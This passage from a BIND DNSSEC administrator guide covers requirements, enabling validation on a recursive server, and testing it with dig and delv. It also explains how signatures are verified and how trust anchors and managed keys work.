
  1. Be a good netizen: By enabling DNSSEC validation (as described in Chapter 3, Validation) on your DNS servers, you’re protecting your users or yourself a little more by checking answers returned to you; by signing your zones (as described in Chapter 4, Signing), you are making it possible for other people to verify your zone data. As more people adopt DNSSEC, the Internet as a whole becomes more secure for everyone.
  2. Compliance: You may not even get a say whether or not you want to implement DNSSEC, if your organization is subject to compliance standards that mandate it. For example, the US government set a deadline back in 2008, to have all .gov sub domains signed by the December 2009 [1]. So if you operated a sub domain in .gov, you must implement DNSSEC in order to be compliant. One of the widely used compliance standards, PCI DSS for the payment card industry, has been rumored to list DNSSEC as a requirement or recommendation, as part of its on-going efforts to enhance security for online payment transactions. ICANN also requires that all new top-level domains support DNSSEC.
  3. Enhanced Security (C.Y.A.) : Okay, so the big lofty goal of “let’s be good” doesn’t appeal to you, and you don’t have any compliance standards to worry about . Here is a more practical reason why you should consider DNSSEC: in case of a DNS-based security breach, such as cache poisoning or domain hijacking, after all the financial and brand damage done to your domain name, you might be placed under scrutiny for any preventative measure that could have been put in place. Think of this like having your web site only available via HTTP but not HTTPS.
  4. New Features: DNSSEC brings not only enhanced security, but with that new level of security, a whole new suite of features. Once DNS can be trusted completely, it becomes possible to publish SSL certificates in DNS, or PGP keys for fully automatic cross-platform email encryption, or SSH fingerprints… People are still coming up with new features, but this all relies on a trust-worthy DNS infrastructure. To take a peek at these next generation DNS features, check out Section 6.5.5, “Introduction to DANE”.

1.7. How does DNSSEC Change My Job as a DNS Administrator?

With this protocol extension, some of the things you are used to in DNS will change. As the DNS administrator, you will have new maintenance tasks to perform on a regular basis (as described in Section 4.6, “Maintenance Tasks”); when there’s a DNS resolution problem, you have new troubleshooting techniques and tools to use (as described in Chapter 5, Basic Troubleshooting). BIND tries its best to make these things as transparent and seamless as possible. In this guide, we try to use the configuration examples that result in the least amount of work for DNS administrators.


[1] The Office of Management and Budget (OMB) for the US government published a memo in 2008 (www.whitehouse.gov/sites/default/files/omb/memoranda/fy2008/m08-23.pdf), requesting all .gov sub-domains to be DNSSEC signed by December 2009. This explains why .gov is the most deployed DNSSEC domain currently, with more than 80% sub domains signed.

Chapter 2. Getting Started

2.1. Software Requirement

2.1.1. BIND Version

The configuration examples given in this document requires BIND version 9.9 or newer. To check the version of named you have installed, use the -v switch as shown below:

# named -v
BIND 9.10.1

2.1.2. DNSSEC Support in BIND

All versions of BIND9 can support DNSSEC. The BIND software you are running most likely already supports DNSSEC as shipped. Run the command named -V to see what flags it was built with. If it was built with OpenSSL (--with-openssl), then it supports DNSSEC. Below is an example screenshot of running named -V:

$ named -V
BIND 9.10.1 <id:fe66c6b1> built by make with '--prefix=/opt/local'
'--mandir=/opt/local/share/man' '--with-openssl=/opt/local'
'--with-libxml2=/opt/local' '--without-libjson' '--enable-threads'
'--enable-ipv6' 'CC=/usr/bin/clang' 'CFLAGS=-pipe -Os -arch x86_64'
'LDFLAGS=-L/opt/local/lib -Wl,-headerpad_max_install_names -arch x86_64'
'CPPFLAGS=-I/opt/local/include'
compiled by CLANG 4.2.1 Compatible Apple LLVM 5.1 (clang-503.0.40)
using OpenSSL version: OpenSSL 1.0.1i 6 Aug 2014
using libxml2 version: 2.9.1

If the BIND9 software you have does not support DNSSEC, it may be necessary to rebuild it from source or upgrade to a newer version.

2.1.3. System Entropy

If you plan on deploying DNSSEC to your authoritative server, you will need to generate cryptographic keys (Section 4.3.1, “Generate Keys Explained”). The amount of time it takes to generate the keys depends on the source of randomness, or entropy, on your systems. On some systems (especially virtual machines) with insufficient entropy, it may take much longer than one cares to wait to generate keys.

There are software packages, such as haveged for Linux, that provides additional entropy for your system. Once installed, they will significantly reduce the time needed to generate keys.

The more entropy there is, the better pseudo-random numbers you get, and stronger keys are generated. If you want or need high quality random numbers, take a look at Section 6.3.3, “Hardware Security Modules (HSM)” for some of the hardware-based solutions.

2.2. Hardware Requirement

2.2.1. Recursive Server Hardware

Enabling DNSSEC validation on a recursive server makes it a validating resolver. The job of a validating resolver is to fetch additional information that can be used to computationally verify the answer set. Below are the areas that should be considered for possible hardware enhancement for a validating resolver:

  1. CPU: a validating resolver executes cryptographic functions on many of the answers returned, this usually leads to increased CPU usage, unless your recursive server has built-in hardware to perform cryptographic computations.
  2. System memory: DNSSEC leads to larger answer sets, and will occupy more memory space.
  3. Network interfaces: although DNSSEC does increase the amount of DNS traffic overall, it is unlikely that you need to upgrade your network interface card (NIC) on the name server, unless you have some truly out-dated hardware.

One of the factors to consider is the destinations of your current DNS traffic. If your current users spend a lot of time visiting .gov web sites, then you should expect a bigger jump in all of the above categories when validation is enabled, because .gov is more than 80% signed. This means, more than 80% of the time, your validating resolver will be doing what is described in Section 1.5, “How Does DNSSEC Change DNS Lookup?”. However, if your users only care about resources in the .com domain, which as of this writing, is less than 0.1% signed, then your recursive name server is unlikely to experience significant load increase after enabling DNSSEC validation.

2.2.2. Authoritative Server Hardware

On the authoritative server side, DNSSEC is enabled on a zone-by-zone basis. When a zone is DNSSEC-enabled, it is also known as “signed”. Below are the areas that you should consider for possible hardware enhancements for an authoritative server with signed zones:

  1. CPU: DNSSEC signed zone requires periodic re-signing, which is a cryptographic function that is CPU intensive. If your DNS zone is dynamic or changes frequently, it also adds to higher CPU loads.
  2. System storage: A signed zone is definitely larger than an unsigned zone. How much larger? See Section 4.1.6, “Your Zone, Before and After DNSSEC” for a comparison example. Roughly speaking, you could expect your zone file to grow at least three times as large, usually more.
  3. System memory: Larger DNS zone files take up not only more storage space on the file system, but also more space when they are loaded into system memory.
  4. Network interfaces: While your authoritative name servers will begin sending back larger responses, it is unlikely that you need to upgrade your network interface card (NIC) on the name server, unless you have some truly out-dated hardware.

One of the factors to consider, but you really have no control over, is how many users who query your domain name have DNSSEC enabled. It is estimated in late 2014, that roughly 10% to 15% of the Internet DNS queries are DNSSEC aware. This translates to roughly 10% to 15% of the DNS queries for your domain will take advantage the additional security features, which result in the increased system load and possibly network traffic.

2.3. Network Requirements

From a network perspective, DNS and DNSSEC packets are very similar, DNSSEC packets are just bigger, which means DNS is more likely to use TCP. You should test for the following two items, to make sure your network is ready for DNSSEC:

  1. DNS over TCP: Verify network connectivity over TCP port 53, this may mean updating firewall policies or Access Control List (ACL) on routers. See Section 3.5.4, “Wait… DNS Uses TCP?” more details.
  2. Large UDP packets: Some network gears such as firewalls may make assumptions about the size of DNS UDP packets and reject DNS traffic that appears too big. You should verify that the responses your nameserver generates are being seen by the rest of the world. See Section 3.5, “What’s EDNS All About (And Why Should I Care)?” for more details.

2.4. Operational Requirements

2.4.1. Parent Zone

Before starting your DNSSEC deployment, check with your parent zone administrators to make sure they support DNSSEC. This may or may not be the same entity as your registrar. As you will see later in Section 4.4, “Working with Parent Zone”, a crucial step in DNSSEC deployment is to complete the parent-child trust relationship. If your parent zone does not support DNSSEC yet, contact them to voice your concern.

ICANN maintains a list of registrars who support DNSSEC:

https://www.icann.org/resources/pages/deployment-2012-02-25-en

2.4.2. Security Requirements

Some organizations may be subject to stricter security requirements than others. Check to see if your organization requires stronger cryptographic keys be generated and stored, or how often keys need to be rotated. The examples presented in this document are not intended for high value zones. We cover some of these security considerations in Chapter 6, Advanced Discussions.

Chapter 3. Validation

3.1. Easy Start Guide for Recursive Servers

This section provides the minimum amount of information to setup a working DNSSEC-aware recursive server, also known as a validating resolver. A validating resolver performs validation for each remote response received, following the chain of trust to verify the answers it receives are legitimate through the use of public key cryptography and hashing functions.

Once DNSSEC validation is enabled, any DNS response that does not pass the validation checks will result in the domain name not getting resolved (often a SERVFAIL status seen by the client). What this means for the DNS administrator is, if there is a DNSSEC configuration issue (sometimes outside of the administrator’s control), a specific name, or sometimes entire domains, may “disappear” from DNS, in that it becomes unreachable through that resolver. What this means for the end user is, name resolution is slow or fails altogether, or some parts of a URL will not load, or web browser will display some error message indicating the page cannot be displayed at all.

For example, if root name servers were misconfigured with the wrong information about .org, it could cause all validation for .org domains to fail. To the end users, it would appear that no one could get to any .org web sites.

You may not need to reconfigure your name server at all, since recent versions of BIND packages and distributions have been shipped with DNSSEC validation enabled by default. Before making any configuration changes, check whether or not you already have DNSSEC validation by following steps described in Section 3.2, “How To Test Recursive Server (So You Think You Are Validating)”.

Enabling DNSSEC validation on a BIND 9 recursive name server is easy, you only need one line of configuration in your configuration file:

options {
    dnssec-validation auto;
};

Restart named or use rndc reconfig, and your recursive server is now happily validating each DNS response. If this does not work for you, and you have already verified DNSSEC support as described in Section 2.1.2, “DNSSEC Support in BIND”, you most likely have some other network-related configurations that need to be adjusted, take a look at Section 2.3, “Network Requirements” to make sure your network is ready for DNSSEC.

DNSSEC is enabled by default for BIND, but this line enables automatic trust anchor configuration. To learn more about this configuration, please refer to Section 3.3, “Validation Easy Start Explained”.

3.2. How To Test Recursive Server (So You Think You Are Validating)

Okay, so now that you have reconfigured your recursive server and restarted it, how do you know that your recursive name server is actually verifying each DNS query? There are several ways to check, and we’ve listed a few suggestions below, starting with the easiest.

3.2.1. Using Web-based Tools to Verify

For most people, the simplest way to check if the recursive name server is indeed validating DNS queries, is to use one of the many web-based tools.

Configure your client computer to use the newly reconfigured recursive server for DNS resolution, and then you can use any one of these web-based tests to see if it is in fact validating answers DNS responses.

For example, opening the URL http://dnssectest.sidnlabs.nl/ in your web browser will show the following before (left) and after (right) DNSSEC validation is enabled:

Figure 3.1. DNSSEC Web-based Tests

DNSSEC Web-based Tests

3.2.2. Using dig to Verify

The web-based tools often employ JavaScript. If you don’t trust the JavaScript magic that the web-based tools rely on, you can take matters into your own hands and use a command line DNS tool to check your validating resolver yourself.

While nslookup is popular, partly because it comes pre-installed on most systems, it is not DNSSEC-aware. The Domain Information Groper (dig), on the other hand, fully supports the DNSSEC standard, and comes as a part of BIND. If you do not have dig already installed on your system, install it by downloading it from ISC’s web site. ISC provides pre-compiled Windows versions on its web site.

dig is a flexible tool for interrogating DNS name servers. It performs DNS lookups and displays the answers that are returned from the name server(s) that were queried. Most seasoned DNS administrators use dig to troubleshoot DNS problems because of its flexibility, ease of use, and clarity of output.

The example below shows using dig to query the name server 192.168.1.7 for the A record for http://www.isc.org if DNSSEC is disabled. The address 192.168.1.7 is only used as an example, you should replace this address with the actual address or host name of your recursive name server. Notice although we specifically used the +dnssec code line option, we do not see the DNSSEC OK (do) bit in the response, nor do we see any DNSSEC resource records.

$ dig @192.168.1.7 www.isc.org. A +dnssec +multiline
; <<>> DiG 9.10.0-P2 <<>> @192.168.1.7 www.isc.org. A +dnssec +multiline
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20416
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.isc.org.           IN  A

;; ANSWER SECTION:
www.isc.org.        60  IN  A   149.20.64.69

Below shows what the results look like querying the same server (192.168.1.7) after enabling DNSSEC validation. The exact same command is run, and this time notice three key differences:

  1. The presence of the Authenticated Data (ad) flag in the header
  2. The DNSSEC OK (do) flag indicating the recursive server is DNSSEC-aware
  3. An additional resource record of type RRSIG, with the same name as the A record.

The DNSSEC OK (do) flag tells us that the recursive server we are querying (192.168.1.7 in this example) is DNSSEC-aware. That its administrator has enabled DNSSEC on the name server to perform validation. The Authenticated Data (ad) flag tells us that the answer received has passed the validation process as described in Section 3.3.3, “How are Answers Verified?”. We can have confidence in the authenticity and integrity of the answer that http://www.isc.org really points to the IP address 149.20.64.69, and it was not a spoofed answer from a clever attacker.

$ dig @192.168.1.7 www.isc.org. A +dnssec +multiline

; <<>> DiG 9.10.0-P2 <<>> @192.168.1.7 www.isc.org. A +dnssec +multiline
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32472
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;www.isc.org.       IN A

;; ANSWER SECTION:
www.isc.org.        4 IN A  149.20.64.69
www.isc.org.        4 IN RRSIG A 5 3 60 (
                20141029233238 20140929233238 4521 isc.org.
                DX5BaGVd4KzU2AIH911Kar/UmdmkARyPhJVLr0oyPZaq
                5zoobGqFI4efvzL0mcpncuUg3BSU5Q48WdBu92xinMdb
                E75zl+adgEBOsFgFQR/zqM3myt/8SngWm4+TQ3XFh9eN
                jqExHZZuZ268Ntlxqgf9OmKRRv8X8YigaPShuyU= )

;; Query time: 3 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Fri Oct 03 16:40:04 CST 2014
;; MSG SIZE  rcvd: 223

3.2.3. Using delv to Verify

If you have BIND 9.10 or later, you can use Domain Entity Lookup & Validation (delv) to validate your setup. This program is similar to dig, but is specifically tailored for DNSSEC.

Without DNSSEC:

$ delv @192.168.1.7 www.isc.org. A
;; no valid RRSIG resolving 'org/DS/IN': 192.168.1.7#53
;; no valid DS resolving 'www.isc.org/A/IN': 192.168.1.7#53
;; resolution failed: no valid DS

delv also comes with a handy +rtrace (trace resolver fetches) switch that shows a little more information on what was fetched:

$  delv @192.168.1.7 www.isc.org. A +rtrace
;; fetch: www.isc.org/A
;; fetch: org/DS
;; no valid RRSIG resolving 'org/DS/IN': 192.168.1.7#53
;; no valid DS resolving 'www.isc.org/A/IN': 192.168.1.7#53
;; resolution failed: no valid DS

After enabling DNSSEC validation, re-running the exact same codes show us the following results:

$ delv @192.168.1.7 www.isc.org. A +multiline
; fully validated
www.isc.org.        60 IN A 149.20.64.69
www.isc.org.        60 IN RRSIG A 5 3 60 (
                20141029233238 20140929233238 4521 isc.org.
                DX5BaGVd4KzU2AIH911Kar/UmdmkARyPhJVLr0oyPZaq
                5zoobGqFI4efvzL0mcpncuUg3BSU5Q48WdBu92xinMdb
                E75zl+adgEBOsFgFQR/zqM3myt/8SngWm4+TQ3XFh9eN
                jqExHZZuZ268Ntlxqgf9OmKRRv8X8YigaPShuyU= )

And +rtrace shows all the glory of what records were fetched to validate this answer:

$ delv @192.168.1.7 www.isc.org +rtrace +multiline
;; fetch: www.isc.org/A
;; fetch: isc.org/DNSKEY
;; fetch: isc.org/DS
;; fetch: org/DNSKEY
;; fetch: org/DS
;; fetch: ./DNSKEY
; fully validated
www.isc.org.        19 IN A 149.20.64.69
www.isc.org.        19 IN RRSIG A 5 3 60 (
                20141029233238 20140929233238 4521 isc.org.
                DX5BaGVd4KzU2AIH911Kar/UmdmkARyPhJVLr0oyPZaq
                5zoobGqFI4efvzL0mcpncuUg3BSU5Q48WdBu92xinMdb
                E75zl+adgEBOsFgFQR/zqM3myt/8SngWm4+TQ3XFh9eN
                jqExHZZuZ268Ntlxqgf9OmKRRv8X8YigaPShuyU= )

3.2.4. Verifying Protection from Bad Domain Names

It is also important to make sure that DNSSEC is protecting you from domain names that fail to validate; such failures could be caused by attacks on your system, attempting to get it to accept false DNS information. Validation could fail for a number of reasons, maybe the answer doesn’t verify because it’s a spoofed response; maybe the signature was a replayed network attack that has expired; or maybe the child zone has been compromised along with its keys, and the parent zone’s information is telling us that things don’t add up. There is a domain name specifically setup to purposely fail DNSSEC validation, http://www.dnssec-failed.org. Prior to enabling DNSSEC validation, you should have no trouble visiting the URL http://www.dnssec-failed.org/ in your web browser:

And no problem resolving the domain name as shown below using dig:

$ dig @192.168.1.7 www.dnssec-failed.org. A

; <<>> DiG 9.10.1 <<>> @192.168.1.7 www.dnssec-failed.org. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28878
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.dnssec-failed.org.     IN  A

;; ANSWER SECTION:
www.dnssec-failed.org.  7200    IN  A   68.87.109.242
www.dnssec-failed.org.  7200    IN  A   69.252.193.191

;; Query time: 955 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Fri Oct 17 07:42:50 CST 2014
;; MSG SIZE  rcvd: 82

After DNSSEC validation is enabled, any attempt to loading the URL should result in some kind of “Sorry, this page cannot be displayed” error message from your web browser. And looking up this domain name using digshould result in SERVFAIL, as shown below:

$ dig @192.168.1.7 www.dnssec-failed.org. A

; <<>> DiG 9.10.1 <<>> @192.168.1.7 www.dnssec-failed.org. A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 46592
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.dnssec-failed.org.     IN  A

;; Query time: 2435 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Fri Oct 17 07:44:56 CST 2014
;; MSG SIZE  rcvd: 50

3.2.5. How Do I know I Have a Validation Problem?

Since all DNSSEC validation failures result in a general SERVFAIL message, how do we know that it was related to validation in the first place? Fortunately, there is a flag to disable DNSSEC validation in dig, +cd (checking disable). When you’ve received a SERVFAIL message, re-run the query one more time, and throw in the +cd flag. If the query succeeds with +cd, but ends in SERVFAIL without it, then you know you are dealing with a validation problem.

$ dig @192.168.1.7 www.isc.org. A +cd

; <<>> DiG 9.10.1 <<>> @192.168.1.7 www.isc.org. A +cd
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33590
;; flags: qr rd ra cd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.isc.org.           IN  A

;; ANSWER SECTION:
www.isc.org.        30  IN  A   149.20.64.69

For more information on troubleshooting, please see Chapter 5, Basic Troubleshooting.

3.3. Validation Easy Start Explained

In Section 3.1, “Easy Start Guide for Recursive Servers”, we used one line of configuration to turn on DNSSEC validation, the act of chasing down signatures and keys, making sure they are authentic. Now we are going to take a closer look at what it actually does, and some other options.

3.3.1. dnssec-validation

options {
    dnssec-validation auto;
};

This auto line enables automatic DNSSEC trust anchor configuration using the managed-keys feature. In this case, no manual key configuration is needed. There are three possible choices for the dnssec-validationoption:

  • yes: DNSSEC validation is enabled, but a trust anchor must be manually configured. No validation will actually take place until you have manually configured at least one trusted key. This is the default.
  • no: DNSSEC validation is disabled, and recursive server will behave in the “old fashioned” way of performing insecure DNS lookups.
  • auto: DNSSEC validation is enabled, and a default trust anchor (included as part of BIND) for the DNS root zone is used.

Let’s discuss the difference between yes and auto. If you set it to yes (the default), the trust anchor will need to be manually defined and maintained using the trusted-keys statement in the configuration file; if you set it toauto (as shown in the example), then no further action should be required as BIND includes a copy[2] of the root key. When set to auto, BIND will automatically keep the keys (also known as trust anchors, which we will look at in Section 3.4, “Trust Anchors”) up-to-date without intervention from the DNS administrator.

We recommend auto unless you have a good reason for requiring a manual trust anchor. To learn more about trust anchors, please refer to Section 3.4.2, “Trusted Keys and Managed Keys”.

Note

dnssec-enable needs to be set to yes (default value is yes) in order for dnssec-validation to be effective.

3.3.2. How Does DNSSEC Change DNS Lookup (Revisited)?

So by now you’ve enabled validation on your recursive name server, and verified that it works. What exactly changed? In Section 1.5, “How Does DNSSEC Change DNS Lookup?” we looked at the very high level, simplified 12-steps of DNSSEC validation process. Let’s revisit that process now and see what your validating resolver is doing in more detail. Again, we are using the example to lookup the A record for the domain name http://www.isc.org(Figure 1.1, “DNSSEC Validation 12 Steps”):

  1. Validating resolver queries isc.org name servers for the A record of http://www.isc.org. This query has the DNSSEC OK (do) bit set to 1, notifying the remote authoritative server that DNSSEC answers are desired.
  2. The zone isc.org is signed, and its name servers are DNSSEC-aware, thus it responds with the answer to the A record query plus the RRSIG for the A record.
  3. Validating resolver queries for the DNSKEY for isc.org.
  4. isc.org name server responds with the DNSKEY and RRSIG records. The DNSKEY is used to verify the answers received in #2.
  5. Validating resolver queries the parent (.org) for the DS record for isc.org.
  6. .org name server responds with the DS and RRSIG records. The DS record is used to verify the answers received in #4.
  7. Validating resolver queries for the DNSKEY for .org.
  8. .org name server responds with DNSKEY and RRSIG. The DNSKEY is used to verify the answers received in #6.
  9. Validating resolver queries the parent (root) for the DS record for .org.
  10. Root name server responds with DS and RRSIG records. The DS record is used to verify the answers received in #8.
  11. Validating resolver queries for the DNSKEY for root.
  12. Root name server responds with DNSKEY and RRSIG. The DNSKEY is used to verify the answers received in #10.

After step #12, the validating resolver takes the DNSKEY received and compares to the key or keys it has configured, to decide whether or not the received key can be trusted. We will talk about these locally configured keys, or trust anchors, in Section 3.4, “Trust Anchors”.

As you can see here, with DNSSEC, every response includes not just the answer, but a digital signature (RRSIG) as well. This is so the validating resolver can verify the answer received, and that’s what we will look at in the next section, Section 3.3.3, “How are Answers Verified?”.

3.3.3. How are Answers Verified?

Note

Keep in mind as you read this section, that although words like encryption and decryption are used from time to time, DNSSEC does not provide you with privacy. Public key cryptography is used to provide data authenticity (who sent it) and data integrity (it did not change during transit), but any eavesdropper can still see your DNS requests and responses in clear text, even when DNSSEC is enabled.

So how exactly are DNSSEC answers verified? Before we can talk about how they are verified, let’s first see how verifiable information is generated. On the authoritative server, each DNS record (or message) is run through a hash function, then this hashed value is encrypted by a private key. This encrypted hash value is the digital signature.

Figure 3.2. Signature Generation

Signature Generation


When the validating resolver queries for the resource record, it receives both the plain-text message and the digital signature(s). The validating resolver knows the hash function used (listed in the digital signature record itself), so it can take the plain-text message and run it through the same hash function to produce a hashed value, let’s call it hash value X. The validating resolver can also obtain the public key (published as DNSKEY records), decrypt the digital signature, and get back the original hashed value produced by the authoritative server, let’s call it hash value Y. If hash values X and Y are identical, and the time is correct (more on what this means below), the answer is verified, meaning we know this answer came from the authoritative server (authenticity), and the content remained intact during transit (integrity).

Figure 3.3. Signature Verification

Signature Verification


Take the A record http://www.isc.org for example, the plain text is:

www.isc.org.        4 IN A  149.20.64.69

The digital signature portion is:

www.isc.org.        4 IN RRSIG A 5 3 60 (
                20141029233238 20140929233238 4521 isc.org.
                DX5BaGVd4KzU2AIH911Kar/UmdmkARyPhJVLr0oyPZaq
                5zoobGqFI4efvzL0mcpncuUg3BSU5Q48WdBu92xinMdb
                E75zl+adgEBOsFgFQR/zqM3myt/8SngWm4+TQ3XFh9eN
                jqExHZZuZ268Ntlxqgf9OmKRRv8X8YigaPShuyU= )

When a validating resolver queries for the A record http://www.isc.org, it receives both the A record and the RRSIG record. It runs the A record through a hash function (in this example, it would be SHA1 as indicated by the number 5, signifying RSA-SHA1) and produces hash value X. The resolver also fetches the appropriate DNSKEY record to decrypt the signature, and the result of the decryption is hash value Y.

But wait! There’s more! Just because X equals Y doesn’t mean everything is good. We still have to look at the time. Remember we mentioned a little earlier that we need to check if the time is correct? Well, look at the two highlighted timestamps in our example above, the two timestamps are:

  • Signature Expiration: 20141029233238
  • Signature Inception: 20140929233238

This tells us that this signature was generated UTC September 29th, 2014, at 11:32:38PM (20140929233238), and it is good until UTC October 29th, 2014, 11:32:38PM (20141029233238). And the validating resolver’s current system time needs to fall between these two timestamps. Otherwise the validation fails, because it could be an attacker replaying an old captured answer set from the past, or feeding us a crafted one with incorrect future timestamps.

If the answer passes both hash value check and timestamp check, it is validated, and the authenticated data (ad) bit is set, and response is sent to the client; if it does not verify, a SERVFAIL is returned to the client.

3.4. Trust Anchors

A trust anchor is a key that is placed into a validating resolver so that the validator can verify the results for a given request back to a known or trusted public key (the trust anchor). A validating resolver must have at least one trust anchor installed in order to perform DNSSEC validation.

3.4.1. How Trust Anchors are Used

In the section Section 3.3.2, “How Does DNSSEC Change DNS Lookup (Revisited)?”, we walked through the DNSSEC lookup process (12 steps), and at the end of the 12 steps, a critical comparison happens: the key received from the remote server, and the key we have on file are compared to see if we trust it. The key we have on file is called a trust anchor, sometimes also known as trust key, trust point, or secure entry point.

The 12-step lookup process describes the DNSSEC lookup in the ideal world where every single domain name is signed and properly delegated, each validating resolver only needs to have one trust anchor, and that is the root’s public key. But there is no restriction that the validating resolver must only have one trust anchor. In fact, in the early stages of DNSSEC adoption, it is not unusual for a validating resolver to have more than one trust anchor.

For instance, before the root zone was signed (prior to the year 2010), some validating resolvers that wish to validate domain names in the .gov zone needed to obtain and install the key for .gov. A sample lookup process for http://www.fbi.gov would thus be only 8 steps rather than 12 steps that look like this:

Figure 3.4. DNSSEC Validation with .gov Trust Anchor

DNSSEC Validation with .gov Trust Anchor
  1. Validating resolver queries fbi.gov name server for the A record of http://www.fbi.gov.
  2. FBI’s name server responds with answer and RRSIG.
  3. Validating resolver queries FBI’s name server for DNSKEY.
  4. FBI’s name server responds with DNSKEY and RRSIG.
  5. Validating resolver queries .gov name server for DS record of fbi.gov.
  6. .gov name server responds with DS record and RRSIG for fbi.gov.
  7. Validating resolver queries .gov name server for DNSKEY.
  8. .gov name server responds with DNSKEY and RRSIG.

This all looks very similar, except it’s shorter than the 12-steps that we saw earlier. Once the validating resolver receives the DNSKEY file in #8, it recognizes that this is the manually configured trusted key (trust anchor), and never goes to the root name servers to ask for the DS record for .gov, or ask the root name servers for its DNSKEY.

In fact, whenever the validating resolver receives a DNSKEY, it checks to see if this is a configured trusted key, to decide whether or not it needs to continue chasing down the validation chain.

3.4.2. Trusted Keys and Managed Keys

So, as the resolver is validating, we must have at least one key (trust anchor) configured. How did it get here, and how do we maintain it?

If you followed the recommendation in Section 3.1, “Easy Start Guide for Recursive Servers”, by setting dnssec-validation to auto, then there is nothing you need to do. BIND already includes a default key (in the filebind.keys), that will automatically update itself. It looks something like this:

managed-keys {
    . initial-key 257 3 8 "AwEAAagAIKlVZrpC6Ia7gEzahOR+9W29euxhJhVVLOyQbSEW0O8gcCjF
    FVQUTf6v58fLjwBd0YI0EzrAcQqBGCzh/RStIoO8g0NfnfL2MTJRkxoX
    bfDaUeVPQuYEhg37NZWAJQ9VnMVDxP/VHL496M/QZxkjf5/Efucp2gaD
    X6RS6CXpoY68LsvPVjR0ZSwzz1apAzvN9dlzEheX7ICJBBtuA6G3LQpz
    W5hOA2hzCTMjJPJ8LbqF6dsV6DoBQzgul0sGIcGOYl7OyQdXfZ57relS
    Qageu+ipAdTTJ25AsRTAoub8ONGcLmqrAmRLKBP1dfwhYB4N7knNnulq
    QxA+Uk1ihz0=";
};

You could, of course, decide to manage this key on your own by hand. First, you’ll need to make sure that your dnssec-validation is set to yes rather than auto:

options {
    dnssec-validation yes;
};

Then, download the root key manually from a trustworthy source, such as https://www.isc.org/bind-keys. Finally, take the root key you manually downloaded, and put it into a trusted-keys statement as shown below:

trusted-keys {
    . 257 3 8 "AwEAAagAIKlVZrpC6Ia7gEzahOR+9W29euxhJhVVLOyQbSEW0O8gcCjF
    FVQUTf6v58fLjwBd0YI0EzrAcQqBGCzh/RStIoO8g0NfnfL2MTJRkxoX
    bfDaUeVPQuYEhg37NZWAJQ9VnMVDxP/VHL496M/QZxkjf5/Efucp2gaD
    X6RS6CXpoY68LsvPVjR0ZSwzz1apAzvN9dlzEheX7ICJBBtuA6G3LQpz
    W5hOA2hzCTMjJPJ8LbqF6dsV6DoBQzgul0sGIcGOYl7OyQdXfZ57relS
    Qageu+ipAdTTJ25AsRTAoub8ONGcLmqrAmRLKBP1dfwhYB4N7knNnulq
    QxA+Uk1ihz0=";
};

Looking back at the example in Section 3.4.1, “How Trust Anchors are Used”, if you wanted to explicitly trust .gov and only validate domain names under .gov, your trusted-keys statement would look something like this:

trusted-keys {
    gov. 257 3 8 "AQO8daaz7B+yshOfL60rytKd9aOSujgponEw3fwBMEC3
    /+e9XzHw2k+VKnbJTZ+QaVtpfUd1q9HKZIv/ck83Gl5T
    jYKE5jtUZ2kpEDZfVNGv6yx0smtWAXv1nCJS9ohnyOTd
    397eMojGDHqkEC+uojEScZheEkMxzgCZwDAs+/CSU7mS
    uHtCRZn19xlZUd5Gv7yDQ3mbOUwuy30oSk0z1Q5UUPpo
    ihOugIZHFX6Jk7NLiW2wlqfq9qhV4zj7TiBiJY0mCc4z
    HN8/aq2VKDHp2Na7mWzvKyTy+SYQkBQ/08LbPwj9YMc+
    uCzKL6sU/ObHv17EFhD8aPDftTHZvV9L+OZr";
};

As the name trusted-keys suggests, it is possible to have more than one key configured. You could also leverage Section 6.5.3, “DNSSEC Look-aside Validation (DLV)” as part of your trust-anchor management strategy.

While trusted-keys and managed-keys appear similar, there is an important difference: trusted-keys are always trusted, until they are deleted from named.conf; managed-keys (specifically, initial-key, which is the only supported type currently) are only trusted once: for as long as it takes to load the managed key database and start the key maintenance process.

Note

Remember, if you choose to manage the keys on your own, whenever the key changes, the configuration needs to be updated manually. Failing to do so will result in breaking nearly all DNS queries for the sub domain of the key. So if you are manually managing .gov, all domain names in the .gov space may become unresolvable; if you are manually managing the root key, you could break all DNS requests made to your recursive name server if the root key is incorrect.

3.5. What’s EDNS All About (And Why Should I Care)?

3.5.1. EDNS Overview

Traditional DNS responses are typically small in size, less than 512 bytes, that fits nicely into a small UDP packet. Extension mechanism for DNS (EDNS, or EDNS(0)) gives us a mechanism to send DNS data in larger packets over UDP. In order to support EDNS, both the DNS server and the network need to be properly prepared to support the larger packet size and multiple fragments.

This is important for DNSSEC, since DNSSEC responses are larger than traditional DNS. If DNS servers and network environment cannot support large UDP packets, it will cause retransmission over TCP, or the larger UDP responses will be discarded. Users will likely experience slow DNS resolution or unable to resolve certain names at all.

Note that EDNS applies whether or not you are validating DNSSEC because BIND has DNSSEC enabled by default.

